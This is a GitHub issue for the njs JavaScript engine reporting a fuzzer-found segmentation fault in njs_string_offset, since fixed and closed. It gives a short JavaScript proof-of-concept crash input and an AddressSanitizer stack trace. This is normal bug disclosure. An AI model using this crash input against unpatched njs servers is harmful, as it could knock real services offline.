

New issue

[Jump to bottom](#)

SEGV njs_string.c:2535:18 in njs_string_offset #482

🔒 Closed Q1IQ opened this issue on Mar 2 · 0 comments

Assignees



Labels

bug fuzzer

Q1IQ commented on Mar 2

Environment

```
OS      : Linux ubuntu 5.13.0-27-generic #29~20.04.1-Ubuntu SMP Fri Jan 14 00:32:30 UTC 2022
x86_64 x86_64 x86_64 GNU/Linux
Commit  : f65981b0b8fcf02d69a40bc934803c25c9f607ab
Version : 0.7.2
Build   :
        NJS_CFLAGS="$NJS_CFLAGS -fsanitize=address"
        NJS_CFLAGS="$NJS_CFLAGS -fno-omit-frame-pointer"
```

Proof of concept

```
function main() {
  const a4 = String.fromCodePoint(6631);
  const a7 = Object(a4);
  const a9 = [65537,a7,"c"];
  const a10 = Object.setPrototypeOf(a7,a9);
  const a11 = a10.lastIndexOf(a4,...-1000000000.0);
}
main();
```

Stack dump

AddressSanitizer:DEADLYSIGNAL

=====

==732134==ERROR: AddressSanitizer: SEGV on unknown address (pc 0x0000004f44ab bp 0x7ffee1c1f9b0 sp 0x7ffee1c1f9b0 T0)

==732134==The signal is caused by a READ memory access.

==732134==Hint: this fault was caused by a dereference of a high value address (see register values below). Dissassemble the provided pc to learn which register was used.

#0 0x4f44ab in njs_string_offset
/home/q1iq/Documents/origin/njs_f65981b/src/njs_string.c:2535:18
#1 0x602ff2 in njs_object_iterate_reverse
/home/q1iq/Documents/origin/njs_f65981b/src/njs_iterator.c:563:17
#2 0x523ba8 in njs_array_prototype_reverse_iterator
/home/q1iq/Documents/origin/njs_f65981b/src/njs_array.c:2419:11
#3 0x53c9ec in njs_function_native_call
/home/q1iq/Documents/origin/njs_f65981b/src/njs_function.c:739:11
#4 0x4e50ab in njs_vmcode_interpreter
/home/q1iq/Documents/origin/njs_f65981b/src/njs_vmcode.c:788:23
#5 0x53be8a in njs_function_lambda_call
/home/q1iq/Documents/origin/njs_f65981b/src/njs_function.c:703:11
#6 0x4e50ab in njs_vmcode_interpreter
/home/q1iq/Documents/origin/njs_f65981b/src/njs_vmcode.c:788:23
#7 0x4df06a in njs_vm_start /home/q1iq/Documents/origin/njs_f65981b/src/njs_vm.c:553:11
#8 0x4c7f69 in njs_process_script
/home/q1iq/Documents/origin/njs_f65981b/src/njs_shell.c:890:19
#9 0x4c73a1 in njs_process_file /home/q1iq/Documents/origin/njs_f65981b/src/njs_shell.c:619:11
#10 0x4c73a1 in main /home/q1iq/Documents/origin/njs_f65981b/src/njs_shell.c:303:15
#11 0x7fb64d8810b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
#12 0x41dabd in _start (/home/q1iq/Documents/origin/njs_f65981b/build/njs+0x41dabd)

AddressSanitizer can not provide additional info.

SUMMARY: AddressSanitizer: SEGV /home/q1iq/Documents/origin/njs_f65981b/src/njs_string.c:2535:18



in njs_string_offset


==732134==ABORTING

Credit


Q1IQ(@Q1IQ)

  xeioex added **bug** **fuzzer** labels on Apr 6

  xeioex self-assigned this on Apr 26

 nginx-hg-mirror closed this as completed in [eafe4c7](#) on Apr 27

Assignees

 xeioex

Labels

bug **fuzzer**

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

2 participants

